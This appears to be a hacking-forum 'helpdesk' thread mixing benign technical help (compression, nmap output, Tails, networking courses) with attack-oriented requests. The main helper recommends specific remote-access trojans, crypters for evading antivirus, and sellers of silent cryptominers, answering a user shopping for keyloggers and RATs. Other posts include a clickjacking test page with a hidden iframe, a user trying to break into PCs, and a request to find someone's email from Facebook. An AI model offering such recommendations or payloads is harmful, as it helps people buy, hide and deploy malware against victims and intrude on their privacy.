Now, there are two types of compression overall, lossy and lossless. Let's use picture formats to explain this. We have our two most popular image formats, .jpg and .png. .jpg has been around forever (like win98 era) but it's still around because it is great for compression. Files that would be 5MB uncompressed would be only a few kilobytes in .jpg, it's fantastic. But the problem with .jpg is that it actually does delete some data in the image that isn't as important, so you can see the image, but in some places, like where colors change you'll notice some pixelation. It's not quite pixelation but you'll see there is something funky going on. Now, if you converted that image back to an uncompressed format, you would still have those artifacts on the image. You lost the data so it's a lossy format.

.png is a little bit different, the file types are much bigger, but it's a lossless format, when you convert an image to .png, it keeps the original image and doesn't delete any data, instead only converting parts of it to be optimized and easier read and keeps the file size low. It also supports transparency which makes for a great image format, and that's why I personally only use .png for everything.

Now, most archive formats, like .zip, .7z, .rar, those are all lossless, you don't have to worry about losing your data from them, don't worry. But it does depend on what the data you're trying to compress is. Have a look at the Lempel Ziv compression methods, there are slight variations (Renau, Welch, etc.) but they are [mostly the same.

Winrar and 7zip should be fine for all your compression needs.

Not sure I understand your question homie, yeah they're trusted, no problem there.

You should always get deeper. Of course Metasploit and Armitage are great tools, but they can only do so much. Always keep learning.

yeah, exactly what I meant by trusting, I can feel they are good for basic understanding. Even though they are good, they are failing to penetrate into PCs I need, even tough they are outdated and unprotected. I need some more advanced stuff :/

Infinity. - November 3, 2016, 11:49 pm

(Nov 3, 2016 12:46 AM)Aakash_Choudhary Wrote: [\[CITE\]](#) I want to know what software i use to highly compress files

I saw in ashiyane forum that even GB files compressed in 50 MB

Can you tell me about this?

Thanks

GB files compressing into 50 MB?

Dude must be billionaire.

PRPS - November 4, 2016, 12:06 am

(Nov 3, 2016 11:49 PM)Infinity. Wrote: [\[CITE\]](#) GB files compressing into 50 MB?

Dude must be billionaire.

Seriously. i was about to say the same thing ?

Aakash_Choudhary - November 4, 2016, 1:18 am

I want to scan hosts using nmap but in good format like html

So i used

```
nmap -sS 192.168.43.53 -oX scan.xml
```

then

```
xsltproc scan.xml -o scan.html
```

But i saw xsltproc command not found

I using kali linux and i heard that "xsltproc" coming in kali linux by default but its not there

Can you please help me

i also saw pyxsltproc.py in /usr/share/doc/python-libxslt1/examles directory

Faith Connors - November 4, 2016, 4:39 am

(Nov 4, 2016 01:18 AM)Aakash_Choudhary Wrote: [\[CITE\]](#) I want to scan hosts using nmap but in good format like html

So i used

```
nmap -sS 192.168.43.53 -oX scan.xml
```

then

```
xsltproc scan.xml -o scan.html
```

But i saw xsltproc command not found

I using kali linux and i heard that "xsltproc" coming in kali linux by default but its not there

Can you please help me

i also saw pyxsltproc.py in /usr/share/doc/python-libxslt1/examles directory

As far as I know xsltproc (libxslt) isn't installed by default on Kali, you won't find either in their metapackages directory and just a while ago there was a bug reported for another tool that needed the library. Supposedly it's fixed so you can try "sudo apt update && upgrade" and it miiiiiight solve the problem, but otherwise, you can't really install libxslt from command line so find their page and get the .deb file to install instead.

Oh, and make sure the .xml file is referencing a .xsl file and that it exists.

jozwior - November 4, 2016, 12:22 pm

Nice article, everything in one place. Thank you!

Aakash_Choudhary - November 4, 2016, 11:36 pm

I didn't understand about this

<https://github.com/504ensicsLabs/LiME>

Can you tell with more explanation

Thanks

Faith Connors - November 5, 2016, 4:33 pm

(Nov 4, 2016 11:36 PM)Aakash_Choudhary Wrote: [\[CITE\]](#) I didn't understand about this

<https://github.com/504ensicsLabs/LiME>

Can you tell with more explanation

Thanks

Sorry only got to this now.

It's basically a memory dump for Android through adb. You plug your phone in, open the adb shell and run the package. You can get it to either dump to the phone's internal storage or sdcard or do it over the network and use netcat to pull data from it.

Craze* - November 5, 2016, 4:36 pm

I would like a suggestion before i spend some money , what is the best keylogger and what is the best Rat here HF , also who is a good programmer here in HF

Faith Connors - November 5, 2016, 4:46 pm

(Nov 5, 2016 04:36 PM)Craze* Wrote: [\[CITE\]](#) I would like a suggestion before i spend some money , what is the best keylogger and what is the best Rat here HF , also who is a good programmer here in HF

I honestly don't know what the best RAT is right now, there was a lot of sketchy stuff going on a while ago, sounded a lot like they started to cooperate with law enforcement, like DarkTrack making some public announcement that it wasn't intended for malicious use and changing their site, LumiLink starting to bug out sometimes and some other stuff with IM4 like the miner was broken and now recently privilege escalation also seems down. But If I had to say, I still trust LuminosityLink the most for the most features. Just check to see when it was last updated and such. Orcus is also very good, but of course you can't use it for malicious purposes and all that. Netwire should be your goto for crossplatform, although it lacks some features.

For a good crypter, I hear the two main good ones on the market right now are HawkLogger and NullDB. Pretty sure Hawk has been around for longer so I would go with them.

As for programmers, well it depends what you want built, like if you want web-dev stuff, native stuff, java, .NET, various scripts etc.

But I think DigitStudio is your best bet. <https://hackforums.net/showthread.php?tid=5204496>

The GRim - November 6, 2016, 5:04 am

Keep up the good work faith.

Make use of this helpdesk, guys.

Faith Connors - November 6, 2016, 7:25 pm

(Nov 6, 2016 06:04 AM)The GRim Wrote: [\[CITE\]](#) Keep up the good work faith.

Make use of this helpdesk, guys.

Yessir, still doing this.

Bumperino to get it back up.

Thanks to clarify about "LIME"

Now my question is about clickjacking. I know its concepts but as a practical i want to know how i start testing of this practically ?Don't tell about OWASP i already read this but still lacking something about this

This is what i came to know :->

Testing for Clickjacking

=====>

- 1.Open Site
 2. Open Burpsuite & configure
 3. Check Reponse and Request Header
 4. If it missing "X-Frame-Options header"
- Then it is vulnerable to CLICKJACKING

Test code

=====>

```
Code <html>
<head>
<title>Clickjack test page</title>
</head>
<body>
<p>Website is vulnerable to clickjacking!</p>
<iframe style="opacity:0.5;position:absolute;" sandbox='allow-forms' width="1000" height="1000"
```

```
src="https://www.our_desire_site_for_testing_come_here/if_any_link_like_close_account_then_it_come_here_and_all_this_testing_site_embed_in_iframe"></iframe>
```

```

```

```
<div class="button">WIN NOW </div>
```

```
<style>
```

```
img{
```

```
left: 43%;
```

```
top: 35%;
```

```
}
```

```
.button{
```

```
position: absolute;
```

```
top: 81%;
```

```
left: 55%;
```

```
font-weight: bold;
```

```
}
```

```
.button:hover{
```

```
pointer: cursor;
```

```
}
```

```
</style></iframe>
```

```
</body>
```

```
</html>=====
```

So main part :->

```
Code <iframe style="opacity:0.5;position:absolute;" sandbox='allow-forms' width="1000"
```

height="1000"

src="https://www.our_desire_site_for_testing_come_here/if_any_link_like_close_account_then_it_come_here_and_all_this_testing_site_embed_in_iframe"></iframe>

Please correct me if i am wrong

Thanks

semendaemon - November 6, 2016, 10:44 pm

(Nov 6, 2016 09:25 PM)Aakash_Choudhary Wrote: [\[CITE\]](#) Thanks to clarify about "LIME"

Now my question is about clickjacking. I know its concepts but as a practical i want to know how i start testing of this practically ?Don't tell about OWASP i already read this but still lacking something about this

Please correct me if i am wrong

ThanksClickJacking is an attack vector that may or may not help you escalate XSS. You basically lay out on top of the DOM a layer of "invisible" iframe that takes your click wherever you put it and puts it elsewhere. How this is actually useful is extremely situational, though one common usage is CSRF protection bypassing. How? Research and figure out.

shtajiryan - November 6, 2016, 11:14 pm

I got kind of stuck. Any good materials someone can PM me?

senopi - November 7, 2016, 3:38 am

What is good to start hacking

Faith Connors - November 7, 2016, 4:32 am

(Nov 7, 2016 12:14 AM)shtajiryan Wrote: [\[CITE\]](#) I got kind of stuck. Any good materials someone can PM me?

(Nov 7, 2016 04:38 AM)senopi Wrote: [\[CITE\]](#) What is good to start hacking

Have a look at the original post on this thread. There are some good links/resources there.

(Nov 6, 2016 11:44 PM)semendaemon Wrote: [\[CITE\]](#) ClickJacking is an attack vector that may or may not help you escalate XSS. You basically lay out on top of the DOM a layer of "invisible" iframe that takes your click wherever you put it and puts it elsewhere. How this is actually useful is extremely situational, though one common usage is CSRF protection bypassing. How? Research and figure out.

<3

Faith Connors - November 8, 2016, 7:49 pm

Bumping before I go to bed <3

Aakash_Choudhary - November 8, 2016, 9:17 pm

Can i get lab for practice clickjacking ?

Thanks

semendaemon - November 9, 2016, 1:05 pm

(Nov 8, 2016 10:17 PM)Aakash_Choudhary Wrote: [\[CITE\]](#) Can i get lab for practice clickjacking ?

ThanksWhy do you need to be spoonfed so much? Just google examples, there's a couple on the first page. Break down the source code and understand it. It's literally placing an invisible iframe on top of the site to hopefully get you to click shit in exactly the places they want you to. The targeted sites are things you're probably already logged on like facebook etc.

Faith Connors - November 10, 2016, 7:39 pm

Tyty daemon for answering with such precision and elegance

Okay maybe not elegant but still thanks homie
Bumping back up to the top boys.

Faith Connors - November 12, 2016, 12:59 pm

Looks like there isn't very much activity here despite all these new threads being created.
Maybe because it's on page 3.
Oh well, back to 1.

Faith Connors - November 13, 2016, 8:32 pm

We know the drill, time to bump bump bump and hope I don't get closed closed closed.
Come on guys, ask questions and I'll get back to you when I wake up. Maybe someone else will answer by then too.

THC - November 13, 2016, 9:45 pm

(Nov 13, 2016 09:32 PM)Faith Connors Wrote: [\[CITE\]](#) We know the drill, time to bump bump bump and hope I don't get closed closed closed.
Come on guys, ask questions and I'll get back to you when I wake up. Maybe someone else will answer by then too.
Waiting on questions to apply myself to... Post on my dudes!

Luciferum - November 14, 2016, 8:40 am

Nice HQ thread, thanks for the links, it'll help me in the future.

ReaperOfSoul - November 15, 2016, 11:31 am

You seem like a knowledgeable person, i'll have a go and see how it works.
Thanks :D

jjjjj100 - November 16, 2016, 10:47 am

I see this thread is still going great, needs more attention as it is very helpful indeed!
Faith and team you doing a good job here for the community, you have given good input to me personally in the past too, keep it up!

To Everyone ask your questions here and you will be helped by a knowledgeable person you can put your faith (excuse the pun) in. :-))

Faith Connors - November 16, 2016, 12:41 pm

(Nov 16, 2016 11:47 AM)jjjjj100 Wrote: [\[CITE\]](#) I see this thread is still going great, needs more attention as it is very helpful indeed!
Faith and team you doing a good job here for the community, you have given good input to me personally in the past too, keep it up!

To Everyone ask your questions here and you will be helped by a knowledgeable person you can put your faith (excuse the pun) in. :-))
I make that exact shitty pun over and over and it never gets old don't worry ;)

user088 - November 16, 2016, 4:33 pm

What is the best silentminer?

oppkern - November 17, 2016, 12:58 pm

Hi,

thanks first of all to

Faith Connors
Asdethprime
semendaemon
and so on

for the great answers in this thread.

I really enjoyed, learned a lot and gave me some ideas how to advance.

The first question which comes into my mind is about Tails, as I read some forums and articles about it yesterday.

For me it s just an OS which has Tor preinstalled (disable java script, etc...) and an email client which is equipped with PGP on it.

What is the difference to another linux distribution which i can start from for ex. memory stick?

Let s assume it s very secure, but what is the gain of using it?

I mean I can use it to surf secure and write secure emails; but tools like for example provided by Kali are missing, for which i would really need a very secure OS (ignoring at the moment the fact that it is possible within the installation process to install them manually).

For what are you using it?

It is worth to install and use it?

It is really the most secure OS?

Faith Connors - November 17, 2016, 1:21 pm

(Nov 17, 2016 01:58 PM)oppkern Wrote: [\[CITE\]](#) Hi,

thanks first of all to

Faith Connors
Asdethprime
semendaemon
and so on

for the great answers in this thread.

I really enjoyed, learned a lot and gave me some ideas how to advance.

The first question which comes into my mind is about Tails, as I read some forums and articles about it yesterday.

For me it s just an OS which has Tor preinstalled (disable java script, etc...) and an email client which is equipped with PGP on it.

What is the difference to another linux distribution which i can start from for ex. memory stick?

Let s assume it s very secure, but what is the gain of using it?

I mean I can use it to surf secure and write secure emails; but tools like for example provided by Kali are missing, for which i would really need a very secure OS (ignoring at the moment the fact that it is possible within the installation process to install them manually).

For what are you using it?

It is worth to install and use it?

It is really the most secure OS?

Tails is very secure yes, but you have a very skewed perception of what you're talking about.

Tails is secure in terms of internet security. It uses TOR, PGP, has all the other shit you want to be

anonymous online. But if you download something malicious, you're still gonna get compromised, at least until you restart the computer because it runs live from the disk.

Qubes is a linux distro made to actually be secure. Every application runs in its own VM which you have full control over, and there are hierarchies of VMs as well. You basically have to give a hacker permission to hack you, and you'll be able to tell when they're trying.

As for making Kali secure, why would you want to do that? It's just a bunch of pentesting tools. You don't want to install it anyway so why bother making it secure? It's made for pentesting and pentesting only, you know, legally. There should be no need to install all kinds of other security stuff on it unless you were using it as your main OS, which you shouldn't be. Kali isn't made to be a secure distro, actually I find it rather insecure as everything runs from and everything is given root permissions.

A pentesting does not have to be secure, but if you want to make a secure pentesting OS for some reason you could either look into ParrotOS which is more on the security side, or just install a really lightweight distro and build upon it until you have everything you need.

Faith Connors - November 19, 2016, 1:13 pm

Updated the thread with a new link to the Language guide.

This is still up and running, make use of it guys!

celty97 - November 20, 2016, 11:03 am

nice threads broo..... good luck

Faith Connors - November 20, 2016, 8:15 pm

(Nov 20, 2016 12:03 PM)celty97 Wrote: [\[CITE\]](#) nice threads broo..... good luck

I appreciate it, despite this being a clear attempt at raising your post count.

Beethong - November 22, 2016, 11:33 pm

Just spent last last hour or so reading through this thread. I'm just getting into this and trying to take as much information in as possible.

Suko7 - November 28, 2016, 2:47 am

I want to learn the network from where I started

Asdethprime - November 28, 2016, 3:16 am

(Nov 28, 2016 03:47 AM)Suko7 Wrote: [\[CITE\]](#) I want to learn the network from where I started
Hi Suko7,

Cisco has an amazing course teaching networking. If you google CCENT study guide you sound find books. There are other levels after CCENT, like CCNA, CCNA and CCIE.

Beast2life - November 28, 2016, 3:17 am

very good thread thanks for the effort

HardRook - November 28, 2016, 12:24 pm

I would like to say it's a very good tutorial and thank you very much

onsomeshiz - November 29, 2016, 6:09 pm

Thanks for putting this thread together OP, really helpful!

xanity - January 10, 2017, 2:54 pm

What is the best silentminer?

Just spent last last 2 hours reading through this thread

Infamia - January 10, 2017, 2:57 pm

(Jan 10, 2017 03:54 PM)xanity Wrote: [\[CITE\]](#) What is the best silentminer?

Just spent last last 2 hours reading through this thread

Thanks for dead-horse beating.

Next time you post make sure the last post wasn't made last year.

Faith Connors - January 10, 2017, 3:31 pm

(Jan 10, 2017 03:54 PM)xanity Wrote: [\[CITE\]](#) What is the best silentminer?

Just spent last last 2 hours reading through this thread

I know Katarina du Couteau is selling an XMR and ZCASH silent miner and some other guy is selling both of those as well. No other coins are really worth mining at this point.

(Jan 10, 2017 03:57 PM)Infamia Wrote: [\[CITE\]](#) Thanks for dead-horse beating.

Next time you post make sure the last post wasn't made last year.

Be nice ?

Infamia - January 10, 2017, 3:39 pm

(Jan 10, 2017 04:31 PM)Faith Connors Wrote: [\[CITE\]](#) Be nice ?

I'm joking, OK, chill.

masterbansho - January 10, 2017, 6:04 pm

Thanks for the uploaded information, great things for all of us.

A9x3 - January 15, 2017, 6:04 pm

A1 info here. Thanks for putting it all together.

Infamia - January 15, 2017, 7:17 pm

what happens if I combine an infusion of wormwood with legatine powder

Faith Connors - January 15, 2017, 7:24 pm

(Jan 15, 2017 08:17 PM)Infamia Wrote: [\[CITE\]](#) what happens if I combine an infusion of wormwood with gelatine powder

Go to bed

But I guess you'll just get wormwood jello. Assuming you add water. And assuming you're talking about wormwood powder and not the whole herb.

Infamia - January 15, 2017, 7:25 pm

(Jan 15, 2017 08:24 PM)Faith Connors Wrote: [\[CITE\]](#) Go to bed

But I guess you'll just get wormwood jello. Assuming you add water. And assuming you're talking about wormwood powder and not the whole herb.

allahu akbar

wait I said legatine not gelatine!!!

Faith Connors - January 15, 2017, 7:29 pm

(Jan 15, 2017 08:25 PM)Infamia Wrote: [\[CITE\]](#) allahu akbar

wait I said legatine not gelatine!!!
unless you're referring to a council then i think u meant gelatine
idk why youd grind up a council to get powder

Infamia - January 15, 2017, 7:31 pm

(Jan 15, 2017 08:29 PM)Faith Connors Wrote: [\[CITE\]](#) unless you're referring to a council then i think u meant gelatine

idk why youd grind up a council to get powder
shut up u go searching inside a sewage factory!!

noob

Maschil_Crane - March 11, 2017, 7:02 pm

Bookmarking this. You have the best tuts.

I cant PM so hopefully you see this. I dont know where to start, but the reason Ive started this journey is because I want to be able to assess and fix any network problems I might have. One of my biggest pet peeves is lag for seemingly no reason. So, I am not a complete noob, but I am by no means an expert. Im the go to go for anything computers in my circle of friends and family, but thats not saying much. Im currently taking Cisco 100-105 ICND1 Interconnecting course online just to pick up some essentials, but I am starting to get lost. I just dont know where to begin as far as figuring out why I get random lag spikes while gaming or just cant connect even though all my ports are open, I have a 100MB connection, etc. I know I rambled a bit I guess I dont really know what Im trying to ask. Hopefully you can at least steer me in the right direction. I am going to look through some of the links you posted as well, but just wondering if maybe you have any suggestions specific for me. Thanks for everything you do.

Faith Connors - March 13, 2017, 2:26 pm

(Mar 11, 2017 08:02 PM)Maschil_Crane Wrote: [\[CITE\]](#) Bookmarking this. You have the best tuts.

I cant PM so hopefully you see this. I dont know where to start, but the reason Ive started this journey is because I want to be able to assess and fix any network problems I might have. One of my biggest pet peeves is lag for seemingly no reason. So, I am not a complete noob, but I am by no means an expert. Im the go to go for anything computers in my circle of friends and family, but thats not saying much. Im currently taking Cisco 100-105 ICND1 Interconnecting course online just to pick up some essentials, but I am starting to get lost. I just dont know where to begin as far as figuring out why I get random lag spikes while gaming or just cant connect even though all my ports are open, I have a 100MB connection, etc. I know I rambled a bit I guess I dont really know what Im trying to ask. Hopefully you can at least steer me in the right direction. I am going to look through some of the links you posted as well, but just wondering if maybe you have any suggestions specific for me. Thanks for everything you do.

I just got back from my vacation ban and it's nice to see this.

Thanks for the kind words.

a horse - April 1, 2017, 8:53 am

(Mar 11, 2017 08:02 PM)Maschil_Crane Wrote: [\[CITE\]](#) Bookmarking this. You have the best tuts.

I cant PM so hopefully you see this. I dont know where to start, but the reason Ive started this journey is because I want to be able to assess and fix any network problems I might have. One of my biggest pet peeves is lag for seemingly no reason. So, I am not a complete noob, but I am by no means an expert. Im the go to go for anything computers in my circle of friends and family, but thats not saying much. Im currently taking Cisco 100-105 ICND1 Interconnecting course online just to pick up some essentials, but I am starting to get lost. I just dont know where to begin as far as figuring out why I get random lag spikes while gaming or just cant connect even though all my ports are open, I have a 100MB connection, etc. I know I rambled a bit I guess I dont really know what Im

trying to ask. Hopefully you can at least steer me in the right direction. I am going to look through some of the links you posted as well, but just wondering if maybe you have any suggestions specific for me. Thanks for everything you do.read more, try stuff and have fun. I promise you at times it'll be hard but you'll need to push through.

kinda like life.

Faith Connors - June 1, 2017, 9:33 am

rebranded because why the fuck not

also because nightmare isnt real and idk if the members listed are still alive

come and ask away fellow friends

R A B B - June 1, 2017, 12:44 pm

Will def be downloading and reading these guides for Lulz

No?orious - June 16, 2017, 4:31 pm

Really good desk, Faith.

Happy you started talking about this in Notorious. I might PM you sometime, I've wanted to be an elite hacker since I was 13 and remotely shut down laptop's on my schools network. LOL. Great stuff though for beginners like me. :-)

redlightrouter - July 7, 2017, 12:34 pm

Bump.

////////////////////////////////////

[warn]

?ictor? - July 9, 2017, 5:34 am

how do i become minecraft hax0r ;c i wanna hav wallhax and kill ppl

do i use cmd and ddos? (ping)?????

spacezombiep - July 9, 2017, 9:13 am

how do i find out someone's email address from their facebook?

Faith Connors - July 3, 2018, 9:53 am

BUMPING BACK UP

decided to start this back up because of the large increase of questions that dont need their own thread.

hit me up with whatever youd like

ill answer questions which cant be discussed here offsite, ie. on xmpp. check FAQ of OP

Shad0wM - September 25, 2018, 8:32 pm

Just wanted to open helpdesk myself, then i realized there is one already.

Bumping this back, when Faith is not online, you can count on my help.

Infamia - September 26, 2018, 4:49 am

Quote:Turn your face to the Sun and the shadows fall behind you.

well they don't fall, they're already there and haven't changed position except by minuscule amounts from the sun;

"Turn your face to the Sun, and you turn from your shadows" would be better, or something about being opposite your shadow tbh

Faith Connors - September 26, 2018, 7:55 am

(Sep 26, 2018 04:49 AM)Infamia Wrote: [\[CITE\]](#) well they don't fall, they're already there and haven't changed position except by minuscule amounts from the sun;

"Turn your face to the Sun, and you turn from your shadows" would be better, or something about being opposite your shadow tbh

go yell at thechief thats wat he made the slogan of the group and then harrassed me for months to change the graphics on the thread

taesfx - September 10, 2020, 11:49 am

- I need all

- I need Port Forward

- I need setup

Quessts - September 12, 2020, 6:54 am

Thats's helpful thanks for the info